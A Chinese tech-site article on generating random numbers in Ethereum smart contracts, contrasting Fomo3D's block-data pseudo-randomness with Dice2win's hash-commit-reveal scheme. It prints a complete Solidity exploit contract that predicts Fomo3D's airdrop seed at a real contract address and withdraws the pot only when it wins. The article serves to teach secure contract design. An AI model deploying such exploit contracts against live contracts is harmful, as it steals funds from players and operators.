诸暨汉妇网络科技有限公司

電腦技術(shù)網(wǎng) - 從此開(kāi)始了解電腦、科技、手機(jī)、智能硬件、網(wǎng)絡(luò)相關(guān)的各項(xiàng)適用知識(shí)!

電腦技術(shù)網(wǎng)_it資訊_游戲攻略_手機(jī)教程_電腦教程_無(wú)線路由器設(shè)置_設(shè)置無(wú)線路由器_辦公軟件教程_電腦系統(tǒng)安裝_電腦維修知識(shí)

關(guān)于以太坊隨機(jī)數(shù)基礎(chǔ)知識(shí)

欄目:電腦維修
已被:人瀏覽過(guò)
當(dāng)前位置:電腦技術(shù)網(wǎng) > 電腦維修 > 正文
本文主要介紹:在以太坊應(yīng)用中,游戲一直都是熱點(diǎn)中的熱點(diǎn),而在游戲中,隨機(jī)數(shù)往往是一個(gè)不可或缺的功能,比如骰子游戲中,我們需要通過(guò)隨機(jī)數(shù)來(lái)控制點(diǎn)數(shù),如果一個(gè)游戲有一個(gè)好的隨機(jī)數(shù)算法的話,

在以太坊應(yīng)用中,游戲一直都是熱點(diǎn)中的熱點(diǎn),而在游戲中,隨機(jī)數(shù)往往是一個(gè)不可或缺的功能,比如骰子游戲中,我們需要通過(guò)隨機(jī)數(shù)來(lái)控制點(diǎn)數(shù),如果一個(gè)游戲有一個(gè)好的隨機(jī)數(shù)算法的話,那么既可以保證游戲莊家不被黑,也可以保證玩家不被宰。

雖然隨機(jī)數(shù)很重要,但是壞消息是在以太坊中實(shí)現(xiàn)一個(gè)基本的隨機(jī)數(shù)并不是一件簡(jiǎn)單的事情。對(duì)于不熟悉區(qū)塊鏈的人而言,這可能有些難以理解:畢竟大多數(shù)編程語(yǔ)言都有生成隨機(jī)數(shù)的功能,難道以太坊的 Solidity 沒(méi)有這個(gè)功能?答案是沒(méi)有!要搞清楚這一點(diǎn),我們還需要了解一下以太坊的運(yùn)行機(jī)制:以太坊是一個(gè)基于共識(shí)的區(qū)塊鏈系統(tǒng),當(dāng)智能合約代碼運(yùn)行的時(shí)候,不同的節(jié)點(diǎn)得到的結(jié)果必須一致。設(shè)想一下,假設(shè) Solidity 有一個(gè) random 函數(shù),在 A 節(jié)點(diǎn)生成一個(gè)隨機(jī)數(shù) 123,在 B 節(jié)點(diǎn)生成一個(gè)隨機(jī)數(shù) 789,那就不存在共識(shí)了,區(qū)塊鏈的根基就不存在了,所以以太坊不存在 random 之類(lèi)的函數(shù)。

下面我們以兩個(gè)比較出名的 DAPP 游戲?yàn)槔纯此鼈兪侨绾紊呻S機(jī)數(shù)的:

先看看 Fomo3D,它有一個(gè)空投獎(jiǎng)金的功能,隨機(jī)數(shù)相關(guān)代碼如下:
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)

)));
if((seed - ((seed / 1000) * 1000)) airDropTracker_)
return(true);
else
return(false);
}

大概邏輯就是根據(jù)區(qū)塊和地址等信息做若干運(yùn)算,拿到一個(gè)隨機(jī)數(shù),進(jìn)而判斷用戶是否中獎(jiǎng),不過(guò)這個(gè)隨機(jī)數(shù)是一個(gè)偽隨機(jī)數(shù),讓我們看看對(duì)應(yīng)的攻擊代碼:
pragma solidity ^0.4.24;

interface FoMo3DlongInterface {
function airDropTracker_() external returns (uint256);
function airDropPot_() external returns (uint256);
function withdraw() external;
}

contract PwnFoMo3D {
constructor() public payable {
// Link up the fomo3d contract and ensure this whole thing is worth it
FoMo3DlongInterface fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1);
if (fomo3d.airDropPot_() 0.4 ether) {
revert();
}
// Calculate whether this transaction would produce an airdrop. Take the
// "random" number generator from the FoMo3D contract.
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp) +
(block.difficulty) +
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
(block.gaslimit) +
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) +
(block.number)
)));

uint256 tracker = fomo3d.airDropTracker_();
if((seed - ((seed / 1000) * 1000)) = tracker) {
revert();
}
// Ok, seems we can win the airdrop, pwn the contract
address(fomo3d).call.value(0.1 ether)();
fomo3d.withdraw();
selfdestruct(msg.sender);
}
}

不懂 Solidity 也沒(méi)關(guān)系,代碼邏輯很簡(jiǎn)單:攻擊者部署新合約,然后在合約中按照相同的隨機(jī)數(shù)邏輯來(lái)預(yù)演自己能否中獎(jiǎng),不能就回滾,能就拿錢(qián)走人。如此一來(lái),攻擊者的成本僅僅就是部署合約的 GAS 費(fèi),相對(duì)于偷來(lái)的獎(jiǎng)金而言可以忽略不計(jì)。

再看看 Dice2win,其代碼最主要的函數(shù)就兩個(gè):placeBet、settleBet,分別對(duì)應(yīng)著下注和開(kāi)獎(jiǎng),其中采用了一種名為 hash-commit-reveal 的算法來(lái)實(shí)現(xiàn)隨機(jī)數(shù):
1.【莊家承諾】莊家(secretSigner)隨機(jī)生成某隨機(jī)數(shù)reveal,同時(shí)計(jì)算commit = keccak256 (reveal)對(duì)該reveal進(jìn)行承諾。然后根據(jù)目前區(qū)塊高度,設(shè)置一個(gè)該承諾使用的最后區(qū)塊高度commitLastBlock。 對(duì)commitLastBlock和commit的組合體進(jìn)行簽名得到sig,同時(shí)把(commit, commitLastBlock,sig)發(fā)送給玩家。
2.【玩家下注】玩家獲得(commit, commitLastBlock,sig)后選擇具體要玩的游戲,猜測(cè)一個(gè)隨機(jī)數(shù)r,發(fā)送下注交易placeBet到智能合約上進(jìn)行下注。
3.【莊家開(kāi)獎(jiǎng)】當(dāng)莊家在區(qū)塊block1中看到玩家的下注信息后。則發(fā)送settleBet交易公開(kāi)承諾值reveal到區(qū)塊鏈上。合約計(jì)算隨機(jī)數(shù)random_number=keccak256(reveal,block1.hash)。如果random_number滿足用戶下注條件,則用戶勝,否則莊家勝。此外游戲還設(shè)有大獎(jiǎng)機(jī)制,即如果某次random_number滿足某個(gè)特殊值(如88888),則用戶可贏得獎(jiǎng)金池中的大獎(jiǎng)。

說(shuō)明:以上信息摘錄自「Not a fair game, Dice2win公平性分析」。

莊家承諾、玩家下注、莊家開(kāi)獎(jiǎng)三個(gè)步驟分別對(duì)應(yīng)著 hash-commit-reveal 的三個(gè)階段,整個(gè)過(guò)程中莊家掌握著隨機(jī)數(shù),玩家控制著投注,敏感信息分散在不同人手中,誰(shuí)也別想單獨(dú)作弊,從而實(shí)現(xiàn)了一種相對(duì)公平的算法,當(dāng)然了,這里可能存在參考鏈接中提及的莊家選擇性開(kāi)獎(jiǎng)的問(wèn)題,但這點(diǎn)可以通過(guò)別的方法來(lái)規(guī)避,這里略過(guò)不談。

看了本文的例子,相信大家應(yīng)該對(duì)如何在以太坊中生成隨機(jī)數(shù)有了一個(gè)基本的認(rèn)識(shí):記住區(qū)塊鏈里一切都是公開(kāi)的,不要試圖在智能合約里通過(guò)區(qū)塊之類(lèi)的信息來(lái)生成隨機(jī)數(shù),而應(yīng)該在服務(wù)端通過(guò) hash-commit-reveal 之類(lèi)的算法來(lái)實(shí)現(xiàn)隨機(jī)數(shù)。此外,我再推薦一篇好文章:以太坊智能合約中隨機(jī)數(shù)預(yù)測(cè)。

本文地址: http://www.laotiku.cn/xiuxian/5450.html 手機(jī)版

相關(guān)推薦Related Recommendations